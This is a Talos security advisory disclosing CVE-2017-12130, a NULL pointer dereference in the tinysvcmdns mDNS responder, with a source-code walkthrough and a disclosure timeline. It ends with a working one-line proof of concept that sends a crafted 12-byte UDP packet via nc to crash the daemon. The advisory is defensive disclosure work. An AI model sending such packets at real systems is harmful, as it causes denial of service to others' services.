Talos Vulnerability Report

TALOS-2017-0486

Tinysvcmdns Multi-label DNS mdns_parse_qn Denial Of Service Vulnerability

January 17, 2018
CVE Number

CVE-2017-12130

Summary

An exploitable NULL pointer dereference vulnerability exists in the tinysvcmdns library version 2017-11-05. A specially crafted packet can make the library dereference a NULL pointer leading to server crash and denial of service. An attacker needs to send a DNS query to trigger this vulnerability.

Tested Versions

tinysvcmdns 2017-11-05

Product URLs

https://bitbucket.org/geekman/tinysvcmdns

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-476: NULL Pointer Dereference

Details

The tinysvcmdns library is a MDNS responder implementation optimized for size, and is essentially a mini and embedded version of Avahi or Bonjour.

The main_loop function in mdnsd.c is used to continuously send and receive MDNS packets:

static void main_loop(struct mdnsd *svr) {
    ...
    ssize_t recvsize = recvfrom(svr->sockfd, pkt_buffer, PACKET_SIZE, 0,        // [1]
        (struct sockaddr *) &fromaddr, &sockaddr_size);
    if (recvsize < 0) {
        log_message(LOG_ERR, "recv(): %m");
    }

    DEBUG_PRINTF("data from=%s size=%ld\n", inet_ntoa(fromaddr.sin_addr), (long) recvsize);
    struct mdns_pkt *mdns = mdns_parse_pkt(pkt_buffer, recvsize);               // [2]
    if (mdns != NULL) {
        if (process_mdns_pkt(svr, mdns, mdns_reply)) {                          // [3]
    ...
}

At [1] data is received and stored in pkt_buffer, which is then sent to function mdns_parse_pkt at [2] for parsing. mdns_parse_pkt will return the parsed packet as an mdns_pkt structure which is later processed at [3] by process_mdns_pkt.

struct mdns_pkt *mdns_parse_pkt(uint8_t *pkt_buf, size_t pkt_len) {
    uint8_t *p = pkt_buf;
    size_t off;
    struct mdns_pkt *pkt;
    int i;

    if (pkt_len < 12) 
        return NULL;

    MALLOC_ZERO_STRUCT(pkt, mdns_pkt);                              // [4]

    pkt->id             = mdns_read_u16(p); p += sizeof(uint16_t);
    pkt->flags          = mdns_read_u16(p); p += sizeof(uint16_t);
    pkt->num_qn         = mdns_read_u16(p); p += sizeof(uint16_t);
    pkt->num_ans_rr     = mdns_read_u16(p); p += sizeof(uint16_t);
    pkt->num_auth_rr    = mdns_read_u16(p); p += sizeof(uint16_t);
    pkt->num_add_rr     = mdns_read_u16(p); p += sizeof(uint16_t);

    off = p - pkt_buf;

    // parse questions
    for (i = 0; i < pkt->num_qn; i++) {
        size_t l = mdns_parse_qn(pkt_buf, pkt_len, off, pkt);       // [5]
        ...
        off += l;
    ...

mdns_parse_pkt in mdns.c internally allocates space for the new mdns_pkt structure at [4] which is populated by calling mdns_parse_qn at [5] for every defined question (the num_qn field). Note that off is used to keep track of the position of the current MDNS query to parse within the raw packet buffer.

static size_t mdns_parse_qn(uint8_t *pkt_buf, size_t pkt_len, size_t off, 
        struct mdns_pkt *pkt) {
    const uint8_t *p = pkt_buf + off;
    struct rr_entry *rr;
    uint8_t *name;

    assert(pkt != NULL);

    rr = malloc(sizeof(struct rr_entry)); 
    memset(rr, 0, sizeof(struct rr_entry));

    name = uncompress_nlabel(pkt_buf, pkt_len, off);        // [6]
    p += label_len(pkt_buf, pkt_len, off);
    rr->name = name;                                        // [7]

    rr->type = mdns_read_u16(p);
    p += sizeof(uint16_t);

    rr->unicast_query = (*p & 0x80) == 0x80;
    rr->rr_class = mdns_read_u16(p) & ~0x80;
    p += sizeof(uint16_t);

    rr_list_append(&pkt->rr_qn, rr);

    return p - (pkt_buf + off);
}

mdns_parse_qn is used for parsing the MDNS questions section of the packet buffer. At [6] the function uncompress_nlabel is called and its return value is stored in the name field of the new rr_entry at [7].

The uncompress_nlabel function is used to parse a name label and return its uncompressed form. The compression format implemented is described in RFC 1035. This function takes as parameter the packet buffer, its size, and the offset in the packet where the label to uncompress is found.

static uint8_t *uncompress_nlabel(uint8_t *pkt_buf, size_t pkt_len, size_t off) {
    uint8_t *p;
    uint8_t *e = pkt_buf + pkt_len;
    size_t len = 0;
    char *str, *sp;
    if (off >= pkt_len)               // [8]
        return NULL;
    ...

The check at [8] ensures that the offset specified is within the bounds of the packet buffer. If the offset is out of bounds, NULL is returned. As we can see, no checks are performed at [6] on the return value of uncompress_nlabel, thus allowing for storing NULL in rr->name at [7].

Later on, the name field could get dereferenced, causing a denial of service.

Indeed this happens inside process_mdns_pkt, which is called at [3], right after the packet is parsed. Note that other paths that lead to a NULL dereference might exist.

static int process_mdns_pkt(struct mdnsd *svr, struct mdns_pkt *pkt, struct mdns_pkt *reply) {
    int i;

    assert(pkt != NULL);

    // is it standard query?
    if ((pkt->flags & MDNS_FLAG_RESP) == 0 && 
            MDNS_FLAG_GET_OPCODE(pkt->flags) == 0) {
        mdns_init_reply(reply, pkt->id);

        DEBUG_PRINTF("flags = %04x, qn = %d, ans = %d, add = %d\n", 
                        pkt->flags,
                        pkt->num_qn,
                        pkt->num_ans_rr,
                        pkt->num_add_rr);

        // loop through questions
        struct rr_list *qnl = pkt->rr_qn;
        for (i = 0; i < pkt->num_qn; i++, qnl = qnl->next) {
            struct rr_entry *qn = qnl->e;
            int num_ans_added = 0;

            char *namestr = nlabel_to_str(qn->name);                  // [9]
            ...

The function cycles over the list of parsed MDNS queries, and extracts at [9] the name of an rr_entry using nlabel_to_str.

char *nlabel_to_str(const uint8_t *name) {
    char *label, *labelp;
    const uint8_t *p;
    size_t buf_len = 256;

    assert(name != NULL);

    label = labelp = malloc(buf_len);

    for (p = name; *p; p++) {                   // [10]
        ...    

As we can see nlabel_to_str doesn't expect to receive a NULL name since it is dereferenced at [10].

Exploit Proof-of-Concept

The following proof of concept shows how to crash the tinysvcmdns daemon.

$ echo -en "\xff\xff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" | nc -u $IP 5353

The packet is composed as follows:

ffff - transaction id
0000 - flags
0001 - number of questions
0000 - number of answers
0000 - number of authority resource records
0000 - number of additional resource records

Since no "question" chunk is defined at the end of the packet, off will be equal to pkt_len and this will make uncompress_nlabel return NULL.

Timeline

2017-11-12 - Vendor Disclosure
2018-01-16 - Public Release

Credit

Discovered by Claudio Bozzato, Yves Younan, Lilith Wyatt <(^_^)> and Aleksandar Nikolic of Cisco Talos.